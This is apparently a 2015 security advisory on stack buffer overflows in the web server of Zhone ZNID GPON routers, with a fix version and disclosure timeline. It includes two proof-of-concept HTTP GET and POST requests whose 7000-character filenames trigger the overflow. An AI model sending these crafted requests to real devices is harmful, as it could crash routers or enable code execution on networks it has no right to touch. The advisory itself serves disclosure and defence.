Vantage Point Security Advisory 2015-003 ======================================== Title: Multiple Remote Code Execution found in ZHONE Vendor: Zhone Vendor URL: http://www.zhone.com Device Model: ZHONE ZNID GPON 2426A (24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models) Versions affected: < S3.0.501 Severity: High Vendor notified: Yes Reported: Public release: Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com> Summary: -------- ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to the use of unsafe string functions without sufficient input validation in the httpd binary. Two exploitable conditions were discovered when requesting a large (7000) character filename ending in .cgi, .tst, .html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage Point has developed working code execution exploits for these issues. 1. Stack Overflow via HTTP GET Request --------------------------------------------------------------------------------------- GET /.cmd?AAAA…..AAAA<7000 Characters> HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/zhnvlanadd.html Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>) Connection: keep-alive 2. Stack Overflow via HTTP POST Request --------------------------------------------------------------------------------------- POST /.cgi HTTP/1.1 Host: 192.168.1.1 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/updatesettings.html Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>) Content-Length: 88438 AAAA…..AAAA<7000 Characters> Fix Information: ---------------- Upgrade to version S3.1.241 Timeline: --------- 2015/04: Issues reported to Zhone 2015/06: Requested Update 2015/08: Requested Update 2015/09: Requested Update 2015/10: Confirm that all issues has been fixed About Vantage Point Security: -------------------- Vantage Point is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture. https://www.vantagepoint.sg/ office[at]vantagepoint[dot]sg